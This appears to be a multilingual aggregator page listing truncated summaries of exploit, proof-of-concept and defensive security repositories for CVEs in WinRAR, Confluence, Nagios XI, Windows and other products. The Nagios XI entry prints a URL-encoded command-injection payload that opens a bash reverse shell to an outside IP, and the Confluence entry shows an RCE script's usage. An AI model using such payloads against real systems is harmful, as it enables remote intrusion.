CVE-2025-8088-Multi-Document

Exploit di Path Traversal in WinRAR CVE-2025-8088 - Distribuzione Payload Multi-Profondità Questo script Python sfrutta una vulnerabilità di path traversal CVE-2025-8088 in WinRAR per distribuire payload nella cartella di avvio di Windows utilizzando più profondità di percorso relative. L'exploit...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC per CVE-2024-30085 Proof of Concept exploit per la vulnerabilità di elevazione dei privilegi CVE-2024-30085. Solo a scopo educativo e di ricerca sulla sicurezza. ⚠️ Avvertenza Legale USO ESCLUSIVAMENTE EDUCATIVO ✅ Ricerca di sicurezza autorizzata ✅ Laboratori controllati ✅ Educazione...

CVE-2022-26134

CVE-2022-26134 POC ed exp per RCE da iniezione di espressione OGNL in Confluence CVE-2022-26134 Aggiornamento Aggiunto bypass sandbox, supporto per versioni elevate. Usage root@kitploit: Usage: python Confluencecve202226134RCE.py http://example.com/ Lo script controllerà automaticamente se il...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Scanner per rilevare la vulnerabilità di esecuzione remota di codice del Print Spooler di Windows CVE-2021-1675 Prerequisiti python3 python3 -m pip install -r Requirements.txt Uso python3 detectprintnightmare.py --help root@kitploit: usage: detectprintnightmare.py -h -t TARG...

CVE-2022-30190

CVE-2022-30190 noto anche come Follina Descrizione della vulnerabilità Follina è presente nello strumento di diagnostica del supporto Microsoft Microsoft Support Diagnostic Tool, MSDT. Quando un'applicazione chiama MSDT tramite il protocollo URL per il supporto, si verifica una vulnerabilità di...

CVE-2019-20197

CVE-2019-20197 Nagios XI vulnerabilità di esecuzione remota di comandi = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

hackguard

hackguard SCHNELLER WEBANWENDUNGS-SCHWACHSTELLEN-SCANNER Voraussetzungen: root@kitploit: 1. Stelle sicher, dass Python3 unter Windows oder Linux installiert ist. 2. Für Windows: python -m pip install -r requirements.txt 3. Für Linux: python3 -m pip install -r requirements.txt Installation:...

crestron_getsudopwd

crestrongetsudopwd Basato sulla scoperta di Ricky Lawshae sui dispositivi Crestron TSW-X60 e MC3, questo strumento mira a sfruttare il CVE-2018-13341. Utilizzando l'indirizzo MAC del dispositivo preso di mira, è possibile recuperare la password dell'account nascosto "crengsuperuser" che possiede...

CVE-2020-1472

Riproduzione della vulnerabilità di elevazione dei privilegi di Windows NetLogon CVE-2020-1472 È necessario estrarre impacket.zip nella cartella corrente L'ultimo pacchetto impacket può essere scaricato qui: https://github.com/SecureAuthCorp/impacket Per il processo dettagliato, fare riferimento...

CVE-2024-38063

CVE-2024-38063 – Windows IPv6-Stack-Sicherheitslücke Analyse & PoC -red Technische Analyse und Proof-of-Concept PoC für CVE-2024-38063 , eine kritische Remote-Codeausführungs-Sicherheitslücke RCE im Windows-IPv6-Stack tcpip.sys. Entdeckt von KunLun Lab, ist dieser Fehler zero-click , d.h. er kann...

SpaceX-Starlink-Router-Gen-2-XSS

SpaceX / Starlink Router Gen 2 XSS CVE-2023-49965 Potete vedere la versione coreana del post qui : https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor TL;DR Una vulnerabilità Cross-Site Scripting XSS nella pagina iniziale del captive portal del router di seconda generazione potreb...

CVE-2023-24055

إخلاء مسؤولية هذا السكربت مخصص لأغراض تعليمية وعرضية فقط. لا يؤيد المؤلف استخدام هذا السكربت في أي أنشطة إجرامية أو خبيثة، ويجب استخدامه فقط حيث يُسمح بذلك صراحةً وبإذن مناسب. يجب استخدام هذا السكربت بحذر، حيث إنه سيعدّل ملف تهيئة KeePass ويحذف أي مشغّلات triggers تم تكوينها مسبقًا. قد يؤدي استخد...

DFIRArtifactMuseum

DFIR Artifact Museum Descrizione Il DFIR Artifact Museum è un archivio guidato dalla comunità di artefatti legati alla DFIR. È stato creato per fornire una posizione centralizzata per esempi di artefatti provenienti da vari sistemi operativi. Scopo Aumentare l'accessibilità ad artefatti campione...

moneta

/ \ / | / \ / \ / \ / / \ \ / Y | \ /| | / | //| | / | / / / / / Moneta v1.0 | Forrest Orr | 2020 REQUIRED -m |region|referenced|ioc -p |PID OPTIONAL -v detail|debug|surface -d --option from-base|statistics --filter unsigned-module|clr-prvx|clr-heap|metadata-modules --address --region-size -m...

moneta

/ \ / | / \ / \ / \ / / \ \ / Y | \ /| | / | //| | / | / / / / / Moneta v1.0 | Forrest Orr | 2020 ERFORDERLICH -m |region|referenced|ioc -p |PID OPTIONAL -v detail|debug|surface -d --option from-base|statistics --filter unsigned-module|clr-prvx|clr-heap|metadata-modules --address --region-size...

invoker

Invoker Penetration testing utility and antivirus assessment tool. Built with Visual Studio Community 2022 v17.5.4 64-bit and tested on Windows 10 Enterprise OS 64-bit. Made for educational purposes. I hope it will help! This repository started to have known signatures and I don't have time to...

invoker

المستدعي Invoker أداة اختبار اختراق وتقييم مضاد للفيروسات. مُبنية باستخدام Visual Studio Community 2022 v17.5.4 64-bit وتم اختبارها على نظام Windows 10 Enterprise 64-bit. صُنعت لأغراض تعليمية. أتمنى أن تكون مفيدة! هذا المستودع بدأت تظهر له توقيعات معروفة وليس لدي وقت لرفع ملفات تنفيذية جديدة في ك...

Security Bulletin: Multiple vulnerabilities in Spring Boot's Cassandra have been addressed in IBM webMethods API Management

Summary Multiple vulnerabilities in Spring Boot's Cassandra have been addressed in IBM webMethods developer portal and IBM webMethos API ControlPlane. Vulnerability Details CVEID:CVE-2026-22746 DESCRIPTION: Vulnerability in Spring Spring Security. If an application is using the...

commando-vm

O que é CommandoVM? Complete Mandiant Offensive VM "CommandoVM" é uma distribuição de segurança abrangente e personalizável baseada em Windows para testes de penetração e operações de equipe vermelha. O CommandoVM vem equipado com uma variedade de ferramentas ofensivas não incluídas no Kali Linux...

CVE-2022-3368

CVE-2022-3368 PoC per la vulnerabilità di spostamento arbitrario di file nel componente Software Update di Avira Security. Gli utenti hanno la possibilità di usare questa funzione per aggiornare qualsiasi software obsoleto sul proprio PC; quando questa funzione viene usata, il servizio Avira...